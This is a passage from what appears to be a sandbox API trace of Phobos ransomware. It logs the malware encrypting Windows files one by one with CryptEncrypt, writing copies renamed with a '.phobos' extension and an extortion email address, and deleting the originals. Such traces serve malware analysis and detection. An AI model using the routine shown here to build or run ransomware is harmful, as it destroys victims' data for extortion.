GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.457] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.457] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.777] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0162.777] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=63840) returned 1 [0162.777] CloseHandle (hObject=0x2c8) returned 1 [0162.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0162.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.778] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.778] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0162.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0162.778] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=18624) returned 1 [0162.778] CloseHandle (hObject=0x2c8) returned 1 [0162.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0162.779] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0162.779] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0162.779] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0162.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0162.781] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d0c90) returned 1 [0162.781] CryptSetKeyParam (hKey=0x1d0c90, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0162.781] ReadFile (in: hFile=0x2c8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x48c0, lpOverlapped=0x0) returned 1 [0163.464] CryptEncrypt (in: hKey=0x1d0c90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x48d0, dwBufLen=0x48d0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x48d0) returned 1 [0163.465] WriteFile (in: hFile=0x2cc, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x48d0, lpOverlapped=0x0) returned 1 [0163.467] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d0f50) returned 1 [0163.467] CryptSetKeyParam (hKey=0x1d0f50, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0163.467] CryptEncrypt (in: hKey=0x1d0f50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60, dwBufLen=0x60 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60) returned 1 [0163.467] CryptDestroyKey (hKey=0x1d0f50) returned 1 [0163.467] WriteFile (in: hFile=0x2cc, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x112, lpOverlapped=0x0) returned 1 [0163.467] CryptDestroyKey (hKey=0x1d0c90) returned 1 [0163.467] CloseHandle (hObject=0x2c8) returned 1 [0163.468] CloseHandle (hObject=0x2cc) returned 1 [0163.470] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0163.473] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0163.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.478] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=18624) returned 1 [0163.478] CloseHandle (hObject=0x2cc) returned 1 [0163.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0163.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.479] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0163.479] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0163.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0163.481] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d19d0) returned 1 [0163.481] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0163.481] ReadFile (in: hFile=0x2cc, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x48c0, lpOverlapped=0x0) returned 1 [0163.580] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x48d0, dwBufLen=0x48d0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x48d0) returned 1 [0163.581] WriteFile (in: hFile=0x2c8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x48d0, lpOverlapped=0x0) returned 1 [0163.582] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1410) returned 1 [0163.582] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0163.582] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60, dwBufLen=0x60 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60) returned 1 [0163.582] CryptDestroyKey (hKey=0x1d1410) returned 1 [0163.582] WriteFile (in: hFile=0x2c8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x112, lpOverlapped=0x0) returned 1 [0163.582] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0163.582] CloseHandle (hObject=0x2cc) returned 1 [0163.582] CloseHandle (hObject=0x2c8) returned 1 [0163.585] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0163.588] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0163.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0163.589] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=21184) returned 1 [0163.589] CloseHandle (hObject=0x2c8) returned 1 [0163.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0163.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0163.590] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0163.590] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0163.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.591] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1990) returned 1 [0163.591] CryptSetKeyParam (hKey=0x1d1990, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0163.591] ReadFile (in: hFile=0x2c8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x52c0, lpOverlapped=0x0) returned 1 [0163.665] CryptEncrypt (in: hKey=0x1d1990, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x52d0, dwBufLen=0x52d0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x52d0) returned 1 [0163.665] WriteFile (in: hFile=0x2cc, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x52d0, lpOverlapped=0x0) returned 1 [0163.666] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1590) returned 1 [0163.666] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0163.666] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70, dwBufLen=0x70 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70) returned 1 [0163.666] CryptDestroyKey (hKey=0x1d1590) returned 1 [0163.666] WriteFile (in: hFile=0x2cc, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x122, lpOverlapped=0x0) returned 1 [0163.667] CryptDestroyKey (hKey=0x1d1990) returned 1 [0163.667] CloseHandle (hObject=0x2c8) returned 1 [0163.667] CloseHandle (hObject=0x2cc) returned 1 [0163.668] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0163.670] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0163.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.671] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=19136) returned 1 [0163.671] CloseHandle (hObject=0x2cc) returned 1 [0163.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0163.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.672] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0163.672] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0163.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0163.674] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d17d0) returned 1 [0163.674] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0163.674] ReadFile (in: hFile=0x2cc, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x4ac0, lpOverlapped=0x0) returned 1 [0163.689] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4ad0, dwBufLen=0x4ad0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4ad0) returned 1 [0163.689] WriteFile (in: hFile=0x2c8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x4ad0, lpOverlapped=0x0) returned 1 [0163.691] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1490) returned 1 [0163.691] CryptSetKeyParam (hKey=0x1d1490, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0163.691] CryptEncrypt (in: hKey=0x1d1490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x80, dwBufLen=0x80 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x80) returned 1 [0163.691] CryptDestroyKey (hKey=0x1d1490) returned 1 [0163.691] WriteFile (in: hFile=0x2c8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x132, lpOverlapped=0x0) returned 1 [0163.691] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0163.691] CloseHandle (hObject=0x2cc) returned 1 [0163.691] CloseHandle (hObject=0x2c8) returned 1 [0163.694] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0163.695] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0163.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0163.696] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=19136) returned 1 [0163.696] CloseHandle (hObject=0x2c8) returned 1 [0163.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0163.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0163.696] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0163.696] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0163.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.697] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d17d0) returned 1 [0163.697] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0163.697] ReadFile (in: hFile=0x2c8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x4ac0, lpOverlapped=0x0) returned 1 [0163.754] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4ad0, dwBufLen=0x4ad0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4ad0) returned 1 [0163.754] WriteFile (in: hFile=0x2cc, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x4ad0, lpOverlapped=0x0) returned 1 [0163.755] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1b50) returned 1 [0163.755] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0163.756] CryptEncrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70, dwBufLen=0x70 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70) returned 1 [0163.756] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0163.756] WriteFile (in: hFile=0x2cc, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2bdf950, 